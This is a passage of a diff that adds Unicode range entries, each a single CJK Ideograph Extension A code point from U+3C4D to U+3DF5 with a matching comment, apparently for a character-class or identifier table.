+ ["\u3C4D", "\u3C4D"], /* CJK Ideograph Extension A */
+ ["\u3C4E", "\u3C4E"], /* CJK Ideograph Extension A */
+ ["\u3C4F", "\u3C4F"], /* CJK Ideograph Extension A */
+ ["\u3C50", "\u3C50"], /* CJK Ideograph Extension A */
+ ["\u3C51", "\u3C51"], /* CJK Ideograph Extension A */
+ ["\u3C52", "\u3C52"], /* CJK Ideograph Extension A */
+ ["\u3C53", "\u3C53"], /* CJK Ideograph Extension A */
+ ["\u3C54", "\u3C54"], /* CJK Ideograph Extension A */
+ ["\u3C55", "\u3C55"], /* CJK Ideograph Extension A */
+ ["\u3C56", "\u3C56"], /* CJK Ideograph Extension A */
+ ["\u3C57", "\u3C57"], /* CJK Ideograph Extension A */
+ ["\u3C58", "\u3C58"], /* CJK Ideograph Extension A */
+ ["\u3C59", "\u3C59"], /* CJK Ideograph Extension A */
+ ["\u3C5A", "\u3C5A"], /* CJK Ideograph Extension A */
+ ["\u3C5B", "\u3C5B"], /* CJK Ideograph Extension A */
+ ["\u3C5C", "\u3C5C"], /* CJK Ideograph Extension A */
+ ["\u3C5D", "\u3C5D"], /* CJK Ideograph Extension A */
+ ["\u3C5E", "\u3C5E"], /* CJK Ideograph Extension A */
+ ["\u3C5F", "\u3C5F"], /* CJK Ideograph Extension A */
+ ["\u3C60", "\u3C60"], /* CJK Ideograph Extension A */
+ ["\u3C61", "\u3C61"], /* CJK Ideograph Extension A */
+ ["\u3C62", "\u3C62"], /* CJK Ideograph Extension A */
+ ["\u3C63", "\u3C63"], /* CJK Ideograph Extension A */
+ ["\u3C64", "\u3C64"], /* CJK Ideograph Extension A */
+ ["\u3C65", "\u3C65"], /* CJK Ideograph Extension A */
+ ["\u3C66", "\u3C66"], /* CJK Ideograph Extension A */
+ ["\u3C67", "\u3C67"], /* CJK Ideograph Extension A */
+ ["\u3C68", "\u3C68"], /* CJK Ideograph Extension A */
+ ["\u3C69", "\u3C69"], /* CJK Ideograph Extension A */
+ ["\u3C6A", "\u3C6A"], /* CJK Ideograph Extension A */
+ ["\u3C6B", "\u3C6B"], /* CJK Ideograph Extension A */
+ ["\u3C6C", "\u3C6C"], /* CJK Ideograph Extension A */
+ ["\u3C6D", "\u3C6D"], /* CJK Ideograph Extension A */
+ ["\u3C6E", "\u3C6E"], /* CJK Ideograph Extension A */
+ ["\u3C6F", "\u3C6F"], /* CJK Ideograph Extension A */
+ ["\u3C70", "\u3C70"], /* CJK Ideograph Extension A */
+ ["\u3C71", "\u3C71"], /* CJK Ideograph Extension A */
+ ["\u3C72", "\u3C72"], /* CJK Ideograph Extension A */
+ ["\u3C73", "\u3C73"], /* CJK Ideograph Extension A */
+ ["\u3C74", "\u3C74"], /* CJK Ideograph Extension A */
+ ["\u3C75", "\u3C75"], /* CJK Ideograph Extension A */
+ ["\u3C76", "\u3C76"], /* CJK Ideograph Extension A */
+ ["\u3C77", "\u3C77"], /* CJK Ideograph Extension A */
+ ["\u3C78", "\u3C78"], /* CJK Ideograph Extension A */
+ ["\u3C79", "\u3C79"], /* CJK Ideograph Extension A */
+ ["\u3C7A", "\u3C7A"], /* CJK Ideograph Extension A */
+ ["\u3C7B", "\u3C7B"], /* CJK Ideograph Extension A */
+ ["\u3C7C", "\u3C7C"], /* CJK Ideograph Extension A */
+ ["\u3C7D", "\u3C7D"], /* CJK Ideograph Extension A */
+ ["\u3C7E", "\u3C7E"], /* CJK Ideograph Extension A */
+ ["\u3C7F", "\u3C7F"], /* CJK Ideograph Extension A */
+ ["\u3C80", "\u3C80"], /* CJK Ideograph Extension A */
+ ["\u3C81", "\u3C81"], /* CJK Ideograph Extension A */
+ ["\u3C82", "\u3C82"], /* CJK Ideograph Extension A */
+ ["\u3C83", "\u3C83"], /* CJK Ideograph Extension A */
+ ["\u3C84", "\u3C84"], /* CJK Ideograph Extension A */
+ ["\u3C85", "\u3C85"], /* CJK Ideograph Extension A */
+ ["\u3C86", "\u3C86"], /* CJK Ideograph Extension A */
+ ["\u3C87", "\u3C87"], /* CJK Ideograph Extension A */
+ ["\u3C88", "\u3C88"], /* CJK Ideograph Extension A */
+ ["\u3C89", "\u3C89"], /* CJK Ideograph Extension A */
+ ["\u3C8A", "\u3C8A"], /* CJK Ideograph Extension A */
+ ["\u3C8B", "\u3C8B"], /* CJK Ideograph Extension A */
+ ["\u3C8C", "\u3C8C"], /* CJK Ideograph Extension A */
+ ["\u3C8D", "\u3C8D"], /* CJK Ideograph Extension A */
+ ["\u3C8E", "\u3C8E"], /* CJK Ideograph Extension A */
+ ["\u3C8F", "\u3C8F"], /* CJK Ideograph Extension A */
+ ["\u3C90", "\u3C90"], /* CJK Ideograph Extension A */
+ ["\u3C91", "\u3C91"], /* CJK Ideograph Extension A */
+ ["\u3C92", "\u3C92"], /* CJK Ideograph Extension A */
+ ["\u3C93", "\u3C93"], /* CJK Ideograph Extension A */
+ ["\u3C94", "\u3C94"], /* CJK Ideograph Extension A */
+ ["\u3C95", "\u3C95"], /* CJK Ideograph Extension A */
+ ["\u3C96", "\u3C96"], /* CJK Ideograph Extension A */
+ ["\u3C97", "\u3C97"], /* CJK Ideograph Extension A */
+ ["\u3C98", "\u3C98"], /* CJK Ideograph Extension A */
+ ["\u3C99", "\u3C99"], /* CJK Ideograph Extension A */
+ ["\u3C9A", "\u3C9A"], /* CJK Ideograph Extension A */
+ ["\u3C9B", "\u3C9B"], /* CJK Ideograph Extension A */
+ ["\u3C9C", "\u3C9C"], /* CJK Ideograph Extension A */
+ ["\u3C9D", "\u3C9D"], /* CJK Ideograph Extension A */
+ ["\u3C9E", "\u3C9E"], /* CJK Ideograph Extension A */
+ ["\u3C9F", "\u3C9F"], /* CJK Ideograph Extension A */
+ ["\u3CA0", "\u3CA0"], /* CJK Ideograph Extension A */
+ ["\u3CA1", "\u3CA1"], /* CJK Ideograph Extension A */
+ ["\u3CA2", "\u3CA2"], /* CJK Ideograph Extension A */
+ ["\u3CA3", "\u3CA3"], /* CJK Ideograph Extension A */
+ ["\u3CA4", "\u3CA4"], /* CJK Ideograph Extension A */
+ ["\u3CA5", "\u3CA5"], /* CJK Ideograph Extension A */
+ ["\u3CA6", "\u3CA6"], /* CJK Ideograph Extension A */
+ ["\u3CA7", "\u3CA7"], /* CJK Ideograph Extension A */
+ ["\u3CA8", "\u3CA8"], /* CJK Ideograph Extension A */
+ ["\u3CA9", "\u3CA9"], /* CJK Ideograph Extension A */
+ ["\u3CAA", "\u3CAA"], /* CJK Ideograph Extension A */
+ ["\u3CAB", "\u3CAB"], /* CJK Ideograph Extension A */
+ ["\u3CAC", "\u3CAC"], /* CJK Ideograph Extension A */
+ ["\u3CAD", "\u3CAD"], /* CJK Ideograph Extension A */
+ ["\u3CAE", "\u3CAE"], /* CJK Ideograph Extension A */
+ ["\u3CAF", "\u3CAF"], /* CJK Ideograph Extension A */
+ ["\u3CB0", "\u3CB0"], /* CJK Ideograph Extension A */
+ ["\u3CB1", "\u3CB1"], /* CJK Ideograph Extension A */
+ ["\u3CB2", "\u3CB2"], /* CJK Ideograph Extension A */
+ ["\u3CB3", "\u3CB3"], /* CJK Ideograph Extension A */
+ ["\u3CB4", "\u3CB4"], /* CJK Ideograph Extension A */
+ ["\u3CB5", "\u3CB5"], /* CJK Ideograph Extension A */
+ ["\u3CB6", "\u3CB6"], /* CJK Ideograph Extension A */
+ ["\u3CB7", "\u3CB7"], /* CJK Ideograph Extension A */
+ ["\u3CB8", "\u3CB8"], /* CJK Ideograph Extension A */
+ ["\u3CB9", "\u3CB9"], /* CJK Ideograph Extension A */
+ ["\u3CBA", "\u3CBA"], /* CJK Ideograph Extension A */
+ ["\u3CBB", "\u3CBB"], /* CJK Ideograph Extension A */
+ ["\u3CBC", "\u3CBC"], /* CJK Ideograph Extension A */
+ ["\u3CBD", "\u3CBD"], /* CJK Ideograph Extension A */
+ ["\u3CBE", "\u3CBE"], /* CJK Ideograph Extension A */
+ ["\u3CBF", "\u3CBF"], /* CJK Ideograph Extension A */
+ ["\u3CC0", "\u3CC0"], /* CJK Ideograph Extension A */
+ ["\u3CC1", "\u3CC1"], /* CJK Ideograph Extension A */
+ ["\u3CC2", "\u3CC2"], /* CJK Ideograph Extension A */
+ ["\u3CC3", "\u3CC3"], /* CJK Ideograph Extension A */
+ ["\u3CC4", "\u3CC4"], /* CJK Ideograph Extension A */
+ ["\u3CC5", "\u3CC5"], /* CJK Ideograph Extension A */
+ ["\u3CC6", "\u3CC6"], /* CJK Ideograph Extension A */
+ ["\u3CC7", "\u3CC7"], /* CJK Ideograph Extension A */
+ ["\u3CC8", "\u3CC8"], /* CJK Ideograph Extension A */
+ ["\u3CC9", "\u3CC9"], /* CJK Ideograph Extension A */
+ ["\u3CCA", "\u3CCA"], /* CJK Ideograph Extension A */
+ ["\u3CCB", "\u3CCB"], /* CJK Ideograph Extension A */
+ ["\u3CCC", "\u3CCC"], /* CJK Ideograph Extension A */
+ ["\u3CCD", "\u3CCD"], /* CJK Ideograph Extension A */
+ ["\u3CCE", "\u3CCE"], /* CJK Ideograph Extension A */
+ ["\u3CCF", "\u3CCF"], /* CJK Ideograph Extension A */
+ ["\u3CD0", "\u3CD0"], /* CJK Ideograph Extension A */
+ ["\u3CD1", "\u3CD1"], /* CJK Ideograph Extension A */
+ ["\u3CD2", "\u3CD2"], /* CJK Ideograph Extension A */
+ ["\u3CD3", "\u3CD3"], /* CJK Ideograph Extension A */
+ ["\u3CD4", "\u3CD4"], /* CJK Ideograph Extension A */
+ ["\u3CD5", "\u3CD5"], /* CJK Ideograph Extension A */
+ ["\u3CD6", "\u3CD6"], /* CJK Ideograph Extension A */
+ ["\u3CD7", "\u3CD7"], /* CJK Ideograph Extension A */
+ ["\u3CD8", "\u3CD8"], /* CJK Ideograph Extension A */
+ ["\u3CD9", "\u3CD9"], /* CJK Ideograph Extension A */
+ ["\u3CDA", "\u3CDA"], /* CJK Ideograph Extension A */
+ ["\u3CDB", "\u3CDB"], /* CJK Ideograph Extension A */
+ ["\u3CDC", "\u3CDC"], /* CJK Ideograph Extension A */
+ ["\u3CDD", "\u3CDD"], /* CJK Ideograph Extension A */
+ ["\u3CDE", "\u3CDE"], /* CJK Ideograph Extension A */
+ ["\u3CDF", "\u3CDF"], /* CJK Ideograph Extension A */
+ ["\u3CE0", "\u3CE0"], /* CJK Ideograph Extension A */
+ ["\u3CE1", "\u3CE1"], /* CJK Ideograph Extension A */
+ ["\u3CE2", "\u3CE2"], /* CJK Ideograph Extension A */
+ ["\u3CE3", "\u3CE3"], /* CJK Ideograph Extension A */
+ ["\u3CE4", "\u3CE4"], /* CJK Ideograph Extension A */
+ ["\u3CE5", "\u3CE5"], /* CJK Ideograph Extension A */
+ ["\u3CE6", "\u3CE6"], /* CJK Ideograph Extension A */
+ ["\u3CE7", "\u3CE7"], /* CJK Ideograph Extension A */
+ ["\u3CE8", "\u3CE8"], /* CJK Ideograph Extension A */
+ ["\u3CE9", "\u3CE9"], /* CJK Ideograph Extension A */
+ ["\u3CEA", "\u3CEA"], /* CJK Ideograph Extension A */
+ ["\u3CEB", "\u3CEB"], /* CJK Ideograph Extension A */
+ ["\u3CEC", "\u3CEC"], /* CJK Ideograph Extension A */
+ ["\u3CED", "\u3CED"], /* CJK Ideograph Extension A */
+ ["\u3CEE", "\u3CEE"], /* CJK Ideograph Extension A */
+ ["\u3CEF", "\u3CEF"], /* CJK Ideograph Extension A */
+ ["\u3CF0", "\u3CF0"], /* CJK Ideograph Extension A */
+ ["\u3CF1", "\u3CF1"], /* CJK Ideograph Extension A */
+ ["\u3CF2", "\u3CF2"], /* CJK Ideograph Extension A */
+ ["\u3CF3", "\u3CF3"], /* CJK Ideograph Extension A */
+ ["\u3CF4", "\u3CF4"], /* CJK Ideograph Extension A */
+ ["\u3CF5", "\u3CF5"], /* CJK Ideograph Extension A */
+ ["\u3CF6", "\u3CF6"], /* CJK Ideograph Extension A */
+ ["\u3CF7", "\u3CF7"], /* CJK Ideograph Extension A */
+ ["\u3CF8", "\u3CF8"], /* CJK Ideograph Extension A */
+ ["\u3CF9", "\u3CF9"], /* CJK Ideograph Extension A */
+ ["\u3CFA", "\u3CFA"], /* CJK Ideograph Extension A */
+ ["\u3CFB", "\u3CFB"], /* CJK Ideograph Extension A */
+ ["\u3CFC", "\u3CFC"], /* CJK Ideograph Extension A */
+ ["\u3CFD", "\u3CFD"], /* CJK Ideograph Extension A */
+ ["\u3CFE", "\u3CFE"], /* CJK Ideograph Extension A */
+ ["\u3CFF", "\u3CFF"], /* CJK Ideograph Extension A */
+ ["\u3D00", "\u3D00"], /* CJK Ideograph Extension A */
+ ["\u3D01", "\u3D01"], /* CJK Ideograph Extension A */
+ ["\u3D02", "\u3D02"], /* CJK Ideograph Extension A */
+ ["\u3D03", "\u3D03"], /* CJK Ideograph Extension A */
+ ["\u3D04", "\u3D04"], /* CJK Ideograph Extension A */
+ ["\u3D05", "\u3D05"], /* CJK Ideograph Extension A */
+ ["\u3D06", "\u3D06"], /* CJK Ideograph Extension A */
+ ["\u3D07", "\u3D07"], /* CJK Ideograph Extension A */
+ ["\u3D08", "\u3D08"], /* CJK Ideograph Extension A */
+ ["\u3D09", "\u3D09"], /* CJK Ideograph Extension A */
+ ["\u3D0A", "\u3D0A"], /* CJK Ideograph Extension A */
+ ["\u3D0B", "\u3D0B"], /* CJK Ideograph Extension A */
+ ["\u3D0C", "\u3D0C"], /* CJK Ideograph Extension A */
+ ["\u3D0D", "\u3D0D"], /* CJK Ideograph Extension A */
+ ["\u3D0E", "\u3D0E"], /* CJK Ideograph Extension A */
+ ["\u3D0F", "\u3D0F"], /* CJK Ideograph Extension A */
+ ["\u3D10", "\u3D10"], /* CJK Ideograph Extension A */
+ ["\u3D11", "\u3D11"], /* CJK Ideograph Extension A */
+ ["\u3D12", "\u3D12"], /* CJK Ideograph Extension A */
+ ["\u3D13", "\u3D13"], /* CJK Ideograph Extension A */
+ ["\u3D14", "\u3D14"], /* CJK Ideograph Extension A */
+ ["\u3D15", "\u3D15"], /* CJK Ideograph Extension A */
+ ["\u3D16", "\u3D16"], /* CJK Ideograph Extension A */
+ ["\u3D17", "\u3D17"], /* CJK Ideograph Extension A */
+ ["\u3D18", "\u3D18"], /* CJK Ideograph Extension A */
+ ["\u3D19", "\u3D19"], /* CJK Ideograph Extension A */
+ ["\u3D1A", "\u3D1A"], /* CJK Ideograph Extension A */
+ ["\u3D1B", "\u3D1B"], /* CJK Ideograph Extension A */
+ ["\u3D1C", "\u3D1C"], /* CJK Ideograph Extension A */
+ ["\u3D1D", "\u3D1D"], /* CJK Ideograph Extension A */
+ ["\u3D1E", "\u3D1E"], /* CJK Ideograph Extension A */
+ ["\u3D1F", "\u3D1F"], /* CJK Ideograph Extension A */
+ ["\u3D20", "\u3D20"], /* CJK Ideograph Extension A */
+ ["\u3D21", "\u3D21"], /* CJK Ideograph Extension A */
+ ["\u3D22", "\u3D22"], /* CJK Ideograph Extension A */
+ ["\u3D23", "\u3D23"], /* CJK Ideograph Extension A */
+ ["\u3D24", "\u3D24"], /* CJK Ideograph Extension A */
+ ["\u3D25", "\u3D25"], /* CJK Ideograph Extension A */
+ ["\u3D26", "\u3D26"], /* CJK Ideograph Extension A */
+ ["\u3D27", "\u3D27"], /* CJK Ideograph Extension A */
+ ["\u3D28", "\u3D28"], /* CJK Ideograph Extension A */
+ ["\u3D29", "\u3D29"], /* CJK Ideograph Extension A */
+ ["\u3D2A", "\u3D2A"], /* CJK Ideograph Extension A */
+ ["\u3D2B", "\u3D2B"], /* CJK Ideograph Extension A */
+ ["\u3D2C", "\u3D2C"], /* CJK Ideograph Extension A */
+ ["\u3D2D", "\u3D2D"], /* CJK Ideograph Extension A */
+ ["\u3D2E", "\u3D2E"], /* CJK Ideograph Extension A */
+ ["\u3D2F", "\u3D2F"], /* CJK Ideograph Extension A */
+ ["\u3D30", "\u3D30"], /* CJK Ideograph Extension A */
+ ["\u3D31", "\u3D31"], /* CJK Ideograph Extension A */
+ ["\u3D32", "\u3D32"], /* CJK Ideograph Extension A */
+ ["\u3D33", "\u3D33"], /* CJK Ideograph Extension A */
+ ["\u3D34", "\u3D34"], /* CJK Ideograph Extension A */
+ ["\u3D35", "\u3D35"], /* CJK Ideograph Extension A */
+ ["\u3D36", "\u3D36"], /* CJK Ideograph Extension A */
+ ["\u3D37", "\u3D37"], /* CJK Ideograph Extension A */
+ ["\u3D38", "\u3D38"], /* CJK Ideograph Extension A */
+ ["\u3D39", "\u3D39"], /* CJK Ideograph Extension A */
+ ["\u3D3A", "\u3D3A"], /* CJK Ideograph Extension A */
+ ["\u3D3B", "\u3D3B"], /* CJK Ideograph Extension A */
+ ["\u3D3C", "\u3D3C"], /* CJK Ideograph Extension A */
+ ["\u3D3D", "\u3D3D"], /* CJK Ideograph Extension A */
+ ["\u3D3E", "\u3D3E"], /* CJK Ideograph Extension A */
+ ["\u3D3F", "\u3D3F"], /* CJK Ideograph Extension A */
+ ["\u3D40", "\u3D40"], /* CJK Ideograph Extension A */
+ ["\u3D41", "\u3D41"], /* CJK Ideograph Extension A */
+ ["\u3D42", "\u3D42"], /* CJK Ideograph Extension A */
+ ["\u3D43", "\u3D43"], /* CJK Ideograph Extension A */
+ ["\u3D44", "\u3D44"], /* CJK Ideograph Extension A */
+ ["\u3D45", "\u3D45"], /* CJK Ideograph Extension A */
+ ["\u3D46", "\u3D46"], /* CJK Ideograph Extension A */
+ ["\u3D47", "\u3D47"], /* CJK Ideograph Extension A */
+ ["\u3D48", "\u3D48"], /* CJK Ideograph Extension A */
+ ["\u3D49", "\u3D49"], /* CJK Ideograph Extension A */
+ ["\u3D4A", "\u3D4A"], /* CJK Ideograph Extension A */
+ ["\u3D4B", "\u3D4B"], /* CJK Ideograph Extension A */
+ ["\u3D4C", "\u3D4C"], /* CJK Ideograph Extension A */
+ ["\u3D4D", "\u3D4D"], /* CJK Ideograph Extension A */
+ ["\u3D4E", "\u3D4E"], /* CJK Ideograph Extension A */
+ ["\u3D4F", "\u3D4F"], /* CJK Ideograph Extension A */
+ ["\u3D50", "\u3D50"], /* CJK Ideograph Extension A */
+ ["\u3D51", "\u3D51"], /* CJK Ideograph Extension A */
+ ["\u3D52", "\u3D52"], /* CJK Ideograph Extension A */
+ ["\u3D53", "\u3D53"], /* CJK Ideograph Extension A */
+ ["\u3D54", "\u3D54"], /* CJK Ideograph Extension A */
+ ["\u3D55", "\u3D55"], /* CJK Ideograph Extension A */
+ ["\u3D56", "\u3D56"], /* CJK Ideograph Extension A */
+ ["\u3D57", "\u3D57"], /* CJK Ideograph Extension A */
+ ["\u3D58", "\u3D58"], /* CJK Ideograph Extension A */
+ ["\u3D59", "\u3D59"], /* CJK Ideograph Extension A */
+ ["\u3D5A", "\u3D5A"], /* CJK Ideograph Extension A */
+ ["\u3D5B", "\u3D5B"], /* CJK Ideograph Extension A */
+ ["\u3D5C", "\u3D5C"], /* CJK Ideograph Extension A */
+ ["\u3D5D", "\u3D5D"], /* CJK Ideograph Extension A */
+ ["\u3D5E", "\u3D5E"], /* CJK Ideograph Extension A */
+ ["\u3D5F", "\u3D5F"], /* CJK Ideograph Extension A */
+ ["\u3D60", "\u3D60"], /* CJK Ideograph Extension A */
+ ["\u3D61", "\u3D61"], /* CJK Ideograph Extension A */
+ ["\u3D62", "\u3D62"], /* CJK Ideograph Extension A */
+ ["\u3D63", "\u3D63"], /* CJK Ideograph Extension A */
+ ["\u3D64", "\u3D64"], /* CJK Ideograph Extension A */
+ ["\u3D65", "\u3D65"], /* CJK Ideograph Extension A */
+ ["\u3D66", "\u3D66"], /* CJK Ideograph Extension A */
+ ["\u3D67", "\u3D67"], /* CJK Ideograph Extension A */
+ ["\u3D68", "\u3D68"], /* CJK Ideograph Extension A */
+ ["\u3D69", "\u3D69"], /* CJK Ideograph Extension A */
+ ["\u3D6A", "\u3D6A"], /* CJK Ideograph Extension A */
+ ["\u3D6B", "\u3D6B"], /* CJK Ideograph Extension A */
+ ["\u3D6C", "\u3D6C"], /* CJK Ideograph Extension A */
+ ["\u3D6D", "\u3D6D"], /* CJK Ideograph Extension A */
+ ["\u3D6E", "\u3D6E"], /* CJK Ideograph Extension A */
+ ["\u3D6F", "\u3D6F"], /* CJK Ideograph Extension A */
+ ["\u3D70", "\u3D70"], /* CJK Ideograph Extension A */
+ ["\u3D71", "\u3D71"], /* CJK Ideograph Extension A */
+ ["\u3D72", "\u3D72"], /* CJK Ideograph Extension A */
+ ["\u3D73", "\u3D73"], /* CJK Ideograph Extension A */
+ ["\u3D74", "\u3D74"], /* CJK Ideograph Extension A */
+ ["\u3D75", "\u3D75"], /* CJK Ideograph Extension A */
+ ["\u3D76", "\u3D76"], /* CJK Ideograph Extension A */
+ ["\u3D77", "\u3D77"], /* CJK Ideograph Extension A */
+ ["\u3D78", "\u3D78"], /* CJK Ideograph Extension A */
+ ["\u3D79", "\u3D79"], /* CJK Ideograph Extension A */
+ ["\u3D7A", "\u3D7A"], /* CJK Ideograph Extension A */
+ ["\u3D7B", "\u3D7B"], /* CJK Ideograph Extension A */
+ ["\u3D7C", "\u3D7C"], /* CJK Ideograph Extension A */
+ ["\u3D7D", "\u3D7D"], /* CJK Ideograph Extension A */
+ ["\u3D7E", "\u3D7E"], /* CJK Ideograph Extension A */
+ ["\u3D7F", "\u3D7F"], /* CJK Ideograph Extension A */
+ ["\u3D80", "\u3D80"], /* CJK Ideograph Extension A */
+ ["\u3D81", "\u3D81"], /* CJK Ideograph Extension A */
+ ["\u3D82", "\u3D82"], /* CJK Ideograph Extension A */
+ ["\u3D83", "\u3D83"], /* CJK Ideograph Extension A */
+ ["\u3D84", "\u3D84"], /* CJK Ideograph Extension A */
+ ["\u3D85", "\u3D85"], /* CJK Ideograph Extension A */
+ ["\u3D86", "\u3D86"], /* CJK Ideograph Extension A */
+ ["\u3D87", "\u3D87"], /* CJK Ideograph Extension A */
+ ["\u3D88", "\u3D88"], /* CJK Ideograph Extension A */
+ ["\u3D89", "\u3D89"], /* CJK Ideograph Extension A */
+ ["\u3D8A", "\u3D8A"], /* CJK Ideograph Extension A */
+ ["\u3D8B", "\u3D8B"], /* CJK Ideograph Extension A */
+ ["\u3D8C", "\u3D8C"], /* CJK Ideograph Extension A */
+ ["\u3D8D", "\u3D8D"], /* CJK Ideograph Extension A */
+ ["\u3D8E", "\u3D8E"], /* CJK Ideograph Extension A */
+ ["\u3D8F", "\u3D8F"], /* CJK Ideograph Extension A */
+ ["\u3D90", "\u3D90"], /* CJK Ideograph Extension A */
+ ["\u3D91", "\u3D91"], /* CJK Ideograph Extension A */
+ ["\u3D92", "\u3D92"], /* CJK Ideograph Extension A */
+ ["\u3D93", "\u3D93"], /* CJK Ideograph Extension A */
+ ["\u3D94", "\u3D94"], /* CJK Ideograph Extension A */
+ ["\u3D95", "\u3D95"], /* CJK Ideograph Extension A */
+ ["\u3D96", "\u3D96"], /* CJK Ideograph Extension A */
+ ["\u3D97", "\u3D97"], /* CJK Ideograph Extension A */
+ ["\u3D98", "\u3D98"], /* CJK Ideograph Extension A */
+ ["\u3D99", "\u3D99"], /* CJK Ideograph Extension A */
+ ["\u3D9A", "\u3D9A"], /* CJK Ideograph Extension A */
+ ["\u3D9B", "\u3D9B"], /* CJK Ideograph Extension A */
+ ["\u3D9C", "\u3D9C"], /* CJK Ideograph Extension A */
+ ["\u3D9D", "\u3D9D"], /* CJK Ideograph Extension A */
+ ["\u3D9E", "\u3D9E"], /* CJK Ideograph Extension A */
+ ["\u3D9F", "\u3D9F"], /* CJK Ideograph Extension A */
+ ["\u3DA0", "\u3DA0"], /* CJK Ideograph Extension A */
+ ["\u3DA1", "\u3DA1"], /* CJK Ideograph Extension A */
+ ["\u3DA2", "\u3DA2"], /* CJK Ideograph Extension A */
+ ["\u3DA3", "\u3DA3"], /* CJK Ideograph Extension A */
+ ["\u3DA4", "\u3DA4"], /* CJK Ideograph Extension A */
+ ["\u3DA5", "\u3DA5"], /* CJK Ideograph Extension A */
+ ["\u3DA6", "\u3DA6"], /* CJK Ideograph Extension A */
+ ["\u3DA7", "\u3DA7"], /* CJK Ideograph Extension A */
+ ["\u3DA8", "\u3DA8"], /* CJK Ideograph Extension A */
+ ["\u3DA9", "\u3DA9"], /* CJK Ideograph Extension A */
+ ["\u3DAA", "\u3DAA"], /* CJK Ideograph Extension A */
+ ["\u3DAB", "\u3DAB"], /* CJK Ideograph Extension A */
+ ["\u3DAC", "\u3DAC"], /* CJK Ideograph Extension A */
+ ["\u3DAD", "\u3DAD"], /* CJK Ideograph Extension A */
+ ["\u3DAE", "\u3DAE"], /* CJK Ideograph Extension A */
+ ["\u3DAF", "\u3DAF"], /* CJK Ideograph Extension A */
+ ["\u3DB0", "\u3DB0"], /* CJK Ideograph Extension A */
+ ["\u3DB1", "\u3DB1"], /* CJK Ideograph Extension A */
+ ["\u3DB2", "\u3DB2"], /* CJK Ideograph Extension A */
+ ["\u3DB3", "\u3DB3"], /* CJK Ideograph Extension A */
+ ["\u3DB4", "\u3DB4"], /* CJK Ideograph Extension A */
+ ["\u3DB5", "\u3DB5"], /* CJK Ideograph Extension A */
+ ["\u3DB6", "\u3DB6"], /* CJK Ideograph Extension A */
+ ["\u3DB7", "\u3DB7"], /* CJK Ideograph Extension A */
+ ["\u3DB8", "\u3DB8"], /* CJK Ideograph Extension A */
+ ["\u3DB9", "\u3DB9"], /* CJK Ideograph Extension A */
+ ["\u3DBA", "\u3DBA"], /* CJK Ideograph Extension A */
+ ["\u3DBB", "\u3DBB"], /* CJK Ideograph Extension A */
+ ["\u3DBC", "\u3DBC"], /* CJK Ideograph Extension A */
+ ["\u3DBD", "\u3DBD"], /* CJK Ideograph Extension A */
+ ["\u3DBE", "\u3DBE"], /* CJK Ideograph Extension A */
+ ["\u3DBF", "\u3DBF"], /* CJK Ideograph Extension A */
+ ["\u3DC0", "\u3DC0"], /* CJK Ideograph Extension A */
+ ["\u3DC1", "\u3DC1"], /* CJK Ideograph Extension A */
+ ["\u3DC2", "\u3DC2"], /* CJK Ideograph Extension A */
+ ["\u3DC3", "\u3DC3"], /* CJK Ideograph Extension A */
+ ["\u3DC4", "\u3DC4"], /* CJK Ideograph Extension A */
+ ["\u3DC5", "\u3DC5"], /* CJK Ideograph Extension A */
+ ["\u3DC6", "\u3DC6"], /* CJK Ideograph Extension A */
+ ["\u3DC7", "\u3DC7"], /* CJK Ideograph Extension A */
+ ["\u3DC8", "\u3DC8"], /* CJK Ideograph Extension A */
+ ["\u3DC9", "\u3DC9"], /* CJK Ideograph Extension A */
+ ["\u3DCA", "\u3DCA"], /* CJK Ideograph Extension A */
+ ["\u3DCB", "\u3DCB"], /* CJK Ideograph Extension A */
+ ["\u3DCC", "\u3DCC"], /* CJK Ideograph Extension A */
+ ["\u3DCD", "\u3DCD"], /* CJK Ideograph Extension A */
+ ["\u3DCE", "\u3DCE"], /* CJK Ideograph Extension A */
+ ["\u3DCF", "\u3DCF"], /* CJK Ideograph Extension A */
+ ["\u3DD0", "\u3DD0"], /* CJK Ideograph Extension A */
+ ["\u3DD1", "\u3DD1"], /* CJK Ideograph Extension A */
+ ["\u3DD2", "\u3DD2"], /* CJK Ideograph Extension A */
+ ["\u3DD3", "\u3DD3"], /* CJK Ideograph Extension A */
+ ["\u3DD4", "\u3DD4"], /* CJK Ideograph Extension A */
+ ["\u3DD5", "\u3DD5"], /* CJK Ideograph Extension A */
+ ["\u3DD6", "\u3DD6"], /* CJK Ideograph Extension A */
+ ["\u3DD7", "\u3DD7"], /* CJK Ideograph Extension A */
+ ["\u3DD8", "\u3DD8"], /* CJK Ideograph Extension A */
+ ["\u3DD9", "\u3DD9"], /* CJK Ideograph Extension A */
+ ["\u3DDA", "\u3DDA"], /* CJK Ideograph Extension A */
+ ["\u3DDB", "\u3DDB"], /* CJK Ideograph Extension A */
+ ["\u3DDC", "\u3DDC"], /* CJK Ideograph Extension A */
+ ["\u3DDD", "\u3DDD"], /* CJK Ideograph Extension A */
+ ["\u3DDE", "\u3DDE"], /* CJK Ideograph Extension A */
+ ["\u3DDF", "\u3DDF"], /* CJK Ideograph Extension A */
+ ["\u3DE0", "\u3DE0"], /* CJK Ideograph Extension A */
+ ["\u3DE1", "\u3DE1"], /* CJK Ideograph Extension A */
+ ["\u3DE2", "\u3DE2"], /* CJK Ideograph Extension A */
+ ["\u3DE3", "\u3DE3"], /* CJK Ideograph Extension A */
+ ["\u3DE4", "\u3DE4"], /* CJK Ideograph Extension A */
+ ["\u3DE5", "\u3DE5"], /* CJK Ideograph Extension A */
+ ["\u3DE6", "\u3DE6"], /* CJK Ideograph Extension A */
+ ["\u3DE7", "\u3DE7"], /* CJK Ideograph Extension A */
+ ["\u3DE8", "\u3DE8"], /* CJK Ideograph Extension A */
+ ["\u3DE9", "\u3DE9"], /* CJK Ideograph Extension A */
+ ["\u3DEA", "\u3DEA"], /* CJK Ideograph Extension A */
+ ["\u3DEB", "\u3DEB"], /* CJK Ideograph Extension A */
+ ["\u3DEC", "\u3DEC"], /* CJK Ideograph Extension A */
+ ["\u3DED", "\u3DED"], /* CJK Ideograph Extension A */
+ ["\u3DEE", "\u3DEE"], /* CJK Ideograph Extension A */
+ ["\u3DEF", "\u3DEF"], /* CJK Ideograph Extension A */
+ ["\u3DF0", "\u3DF0"], /* CJK Ideograph Extension A */
+ ["\u3DF1", "\u3DF1"], /* CJK Ideograph Extension A */
+ ["\u3DF2", "\u3DF2"], /* CJK Ideograph Extension A */
+ ["\u3DF3", "\u3DF3"], /* CJK Ideograph Extension A */
+ ["\u3DF4", "\u3DF4"], /* CJK Ideograph Extension A */
+ ["\u3DF5", "\u3DF5"], /* CJK Ideograph Extension A */
